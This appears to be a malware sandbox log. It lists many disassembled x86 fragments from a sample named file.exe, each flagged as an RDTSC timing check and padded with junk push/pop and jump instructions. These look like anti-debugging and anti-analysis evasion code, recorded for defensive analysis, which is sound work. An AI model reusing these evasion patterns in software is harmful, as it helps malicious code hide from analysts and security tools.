Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E4D7 second address: 136E547 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov dword ptr [ebp+122D2EB1h], eax 0x0000000e mov ebx, dword ptr [ebp+124813ACh] 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F3CD87760E8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000019h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov dword ptr [ebp+122D28D3h], edi 0x00000034 add eax, ebx 0x00000036 jmp 00007F3CD87760F2h 0x0000003b jmp 00007F3CD87760EAh 0x00000040 nop 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 jmp 00007F3CD87760F0h 0x00000049 pushad 0x0000004a popad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E547 second address: 136E54C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136E54C second address: 136E552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC22A second address: 13CC234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3CD8C3C7D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CC234 second address: 13CC244 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F3CD87760E8h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D0317 second address: 13D031D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D08EE second address: 13D0905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F3CD87760EDh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6051 second address: 13D6092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F3CD8C3C7D6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F3CD8C3C7DCh 0x00000013 je 00007F3CD8C3C7D6h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c jmp 00007F3CD8C3C7DAh 0x00000021 popad 0x00000022 jng 00007F3CD8C3C804h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F3CD8C3C7DBh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D6092 second address: 13D6096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D70BF second address: 13D70C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D70C3 second address: 13D70E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3CD87760F3h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7BD3 second address: 13D7BD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E063B second address: 13E0642 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0642 second address: 13E065E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3CD8C3C7E0h 0x00000009 popad 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E07D1 second address: 13E07F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F8h 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1047 second address: 13E104B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7106 second address: 13E7115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jg 00007F3CD87760E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7115 second address: 13E711B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E711B second address: 13E7124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7746 second address: 13E7755 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jnl 00007F3CD8C3C7D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7755 second address: 13E7759 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E7CA0 second address: 13E7CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 pushad 0x00000007 jnl 00007F3CD8C3C7EDh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E8536 second address: 13E853E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334EC8 second address: 1334ED6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F3CD8C3C7D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334ED6 second address: 1334EEB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jl 00007F3CD87760F8h 0x0000000d push eax 0x0000000e push edx 0x0000000f jng 00007F3CD87760E6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1334EEB second address: 1334EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F1505 second address: 13F151E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3CD87760F5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F151E second address: 13F1522 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F1662 second address: 13F1666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCA15 second address: 13FCA19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCA19 second address: 13FCA39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnc 00007F3CD8776100h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F3CD87760F0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC552 second address: 13FC561 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007F3CD8C3C7D6h 0x00000009 pop edx 0x0000000a push edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC6C9 second address: 13FC6E6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760ECh 0x00000007 jnc 00007F3CD87760E8h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC6E6 second address: 13FC6ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FC6ED second address: 13FC6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3CD87760EBh 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14024D5 second address: 14024E1 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3CD8C3C7D6h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14182BC second address: 14182CC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnp 00007F3CD87760E6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1418407 second address: 141840D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14186EC second address: 14186F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14186F1 second address: 14186F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419747 second address: 1419756 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F3CD87760E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1419756 second address: 141975D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C824 second address: 141C837 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760EFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C837 second address: 141C84F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3CD8C3C7DEh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C84F second address: 141C853 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C39E second address: 141C3AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jnp 00007F3CD8C3C7D6h 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C3AC second address: 141C3B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C3B2 second address: 141C3B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C3B6 second address: 141C3C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F3CD87760E6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C3C7 second address: 141C3EE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F3CD8C3C7E9h 0x0000000c jg 00007F3CD8C3C7E2h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C3EE second address: 141C3F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C56F second address: 141C576 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141C576 second address: 141C57D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E95A second address: 141E963 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E963 second address: 141E969 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 141E969 second address: 141E96D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421FCC second address: 1421FD0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1421E78 second address: 1421E7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429F44 second address: 1429F48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429F48 second address: 1429F4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429F4C second address: 1429F66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3CD87760EEh 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1429F66 second address: 1429F74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F3CD8C3C7DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14389FF second address: 1438A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1438A04 second address: 1438A26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F3CD8C3C7E7h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B2BA second address: 143B2C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1451DC6 second address: 1451DCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14510E3 second address: 14510E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145168C second address: 14516C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b ja 00007F3CD8C3C7D8h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 push esi 0x00000015 pop esi 0x00000016 jmp 00007F3CD8C3C7E7h 0x0000001b jo 00007F3CD8C3C7D6h 0x00000021 push ebx 0x00000022 pop ebx 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145184B second address: 1451850 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1453354 second address: 1453372 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F3CD8C3C7E0h 0x0000000b jl 00007F3CD8C3C7E2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14576FE second address: 1457705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457705 second address: 1457759 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push esi 0x0000000f call 00007F3CD8C3C7D8h 0x00000014 pop esi 0x00000015 mov dword ptr [esp+04h], esi 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc esi 0x00000022 push esi 0x00000023 ret 0x00000024 pop esi 0x00000025 ret 0x00000026 mov dx, B960h 0x0000002a mov edx, 12B3831Eh 0x0000002f push 00000004h 0x00000031 cmc 0x00000032 call 00007F3CD8C3C7D9h 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457759 second address: 145775F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145775F second address: 1457764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457764 second address: 145777F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F3CD87760E6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F3CD87760EAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145777F second address: 14577B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007F3CD8C3C7E0h 0x00000015 je 00007F3CD8C3C7D6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14577B5 second address: 14577BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14577BB second address: 14577CF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F3CD8C3C7D8h 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1457B13 second address: 1457B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F3CD87760E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1458F4F second address: 1458F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1458F54 second address: 1458F5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1458F5A second address: 1458F85 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F3CD8C3C7DDh 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1458F85 second address: 1458F9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F5h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145ADAF second address: 145ADDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop eax 0x0000000b popad 0x0000000c jo 00007F3CD8C3C80Bh 0x00000012 push edi 0x00000013 jc 00007F3CD8C3C7D6h 0x00000019 push eax 0x0000001a pop eax 0x0000001b pop edi 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F3CD8C3C7E2h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57702AD second address: 57702F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 2D61E092h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F3CD87760F4h 0x00000011 push eax 0x00000012 jmp 00007F3CD87760EBh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F3CD87760F6h 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57703F8 second address: 57703FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57703FC second address: 5770402 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1371A4A second address: 1371A4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 577048A second address: 5770490 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770490 second address: 57704D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3CD8C3C7E2h 0x00000008 call 00007F3CD8C3C7E2h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3CD8C3C7E3h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57704D3 second address: 57704F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD87760F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57704F0 second address: 57704F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57704F6 second address: 57704FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770513 second address: 5770540 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3CD8C3C7DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 4DE78931h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F3CD8C3C7E1h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5770540 second address: 5770546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
